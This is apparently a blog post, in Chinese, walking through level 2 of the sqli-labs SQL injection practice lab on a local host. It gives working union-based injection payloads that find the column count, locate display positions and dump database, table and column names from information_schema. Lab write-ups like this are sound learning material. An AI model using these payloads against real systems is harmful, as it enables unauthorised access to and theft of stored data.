学会了第一关,时隔多天来到了第二关,怎么说了没有看wp就给做出来了。

首先,我是自己先判断了下,这个是什么注入

?id=1'  不行

?id=1' or '1'='1--+  也不行

然后又尝试了下

?id=1 and 1=1  页面显示正常

?id=1 and 1=2  页面又错误回显

然后这就是数字注入了

于是我们去查库,跟第一关的思路是一样的。然后就爆出了库。如果不懂的可以点这个链接。

https://www.cnblogs.com/junlebao/p/13758919.html

 sql注入一般步骤:

第一步:通过特殊的数据库查询语句

第二步:在数据库的错误返回中找到sql漏洞

第三步:利用sql语句猜解管理人员信息并登录管理员后台

判断注入类型

数字型注入

1. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1'时,因为有一个多余的"单引号"使查询语句错误

2. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1时,没有报错

3. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2时,由于1=2不成立,也会报错

满足这三个,基本上就是数字注入了

字符型注入

1. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1'时,数据库认为id叫做1'。查询之后发现没有这个id而返回错误。(在字符型注入中,需要考虑引号的闭合)

2. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' and '1'='1 在'1'='1之后没有加上'是因为传参时输入的内容已经被' '包围。

后台查询列数

使用order by试出数据库列数

url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' order by 数字 (如果试4时有错误,3时正确,那么列数为3)

找显示位

使用union select找出会返回客户端并显示的列。如果有3列时,应该这么写

url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,3

加入显示位是3,这就意味着数据库开放了5个“窗口”用来显示内容,用查询到的数据,在这些窗口显示数据

查库名

联合查询:select database();

下面是查看数据库的版本和数据库信息

假如显示位是3,http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,version,database()

查表名

找到库名以后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,table_name from information_schema.tables where table_schema='库名' (如果库名是字符型,此处库名要转成十六进制)

information_schema:

这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库

查列名

找到表之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (如果表名是字符型,此处库名要转成十六进制)

如果表数或列数过多,可以在最后使用limit加上limit 0,5相当于检索1-5条信息

查具体数据

找到列之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,group_concat("要查询的数据") from 表名

最新文章

  1. Leetcode jump Game II
  2. AsyncTask 异步处理
  3. 《《我是一只IT小小鸟》》读后感
  4. 服装PDA软件|服装销售开单PDA管理软件|服装PDA管理系统|服装PDA点货系统|服装移动POS系统
  5. React Native入门遇到的一些问题
  6. C# Winform关于控件TabControl闪烁的问题
  7. 【Python】python 普通继承方式和super继承方式
  8. Boost.Build 简明教程
  9. mybatis常用语句
  10. mysql 使用set names 解决乱码问题的原理
  11. LintCode-不同的子序列
  12. 警告:‘xxxx’ 将随后被初始化
  13. ngRx 官方示例分析 - 4.pages
  14. SEO优化策略
  15. luogu P5286 [HNOI2019]鱼
  16. HashMap(1.8)理解
  17. mysql中关于关联索引的问题——对a,b,c三个字段建立联合索引,那么查询时使用其中的2个作为查询条件,是否还会走索引?
  18. Halcon旋转图片的研究
  19. file /usr/lib64/mysql/plugin/dialog.so from install of Percona-Server-server-56-5.6.24-rel72.2.el6.x86_64 conflicts with file from package mariadb-libs-1:5.5.60-1.el7_5.x86_64
  20. java while循环语句

热门文章

  1. python实例 三国人物出场次序 jieba库
  2. Redis操作及集群搭建以及高可用配置
  3. 2020最新Servlet+form表单实现文件上传(图片)
  4. viewPager2的Bug
  5. shell小技巧(6)修改一批文件后缀
  6. Mysql数据库扩展
  7. 仿VISIO连线
  8. 深入理解Go系列一之指针变量
  9. 你必须要知道的babel二三事
  10. 安卓自动化测试工具Monkey简单使用